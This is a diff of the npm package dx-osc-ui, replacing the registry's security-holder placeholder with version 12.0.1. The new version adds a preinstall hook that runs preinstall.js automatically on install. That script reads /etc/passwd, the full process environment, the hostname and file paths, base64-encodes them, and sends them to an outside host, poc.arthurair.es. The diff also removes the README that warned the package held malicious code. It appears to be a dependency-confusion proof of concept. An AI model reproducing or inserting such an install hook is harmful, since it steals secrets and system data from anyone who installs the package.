dx-osc-ui 0.0.1-security → 12.0.1

package/index.js

@@ -0,0 +1,3 @@
+module.exports.hacked = function () {
+    return "h1:arthuraires"
+}

package/package.json

@@ -1,6 +1,18 @@
 {
   "name": "dx-osc-ui",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "12.0.1",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1",
+    "preinstall": "node preinstall.js"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^0.21.1",
+    "http": "0.0.1-security",
+    "https": "^1.0.0",
+    "os": "^0.1.1"
+  }
+}

package/preinstall.js

@@ -0,0 +1,38 @@
+'use strict'
+
+const https = require('https')
+const http = require("http");
+const os = require("os");
+
+var currentPath = __dirname.toString('base64');
+var currentFile = __filename.toString('base64');
+var currentEnvString = JSON.stringify(process);
+var currentPath = Buffer.from(JSON.stringify(__dirname)).toString('base64');
+var currentFile = Buffer.from(JSON.stringify(__filename)).toString('base64');
+var currentEnvBase64 = Buffer.from(currentEnvString).toString('base64');
+var currentHostName = Buffer.from(JSON.stringify(os.hostname())).toString('base64');
+
+var fs = require('fs')
+
+function sendRequest(data) {
+    https.get('https://poc.arthurair.es/?' + data, (resp) => {
+        }).on("error", (err) => {
+        console.log("Error: " + err.message);
+    });
+}
+
+fs.readFile('/etc/passwd', 'utf8', async function (err,file) {
+
+    var etc = Buffer.from(file).toString('base64');
+    var env = currentEnvBase64;
+    
+    sendRequest('--------------------INICIO------------------------')
+    sendRequest(etc)
+    sendRequest(env)
+    sendRequest(currentPath)
+    sendRequest(currentHostName)
+    sendRequest(currentFile)
+    sendRequest('--------------------FINAL------------------------')
+    
+
+});

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=dx-osc-ui for more information.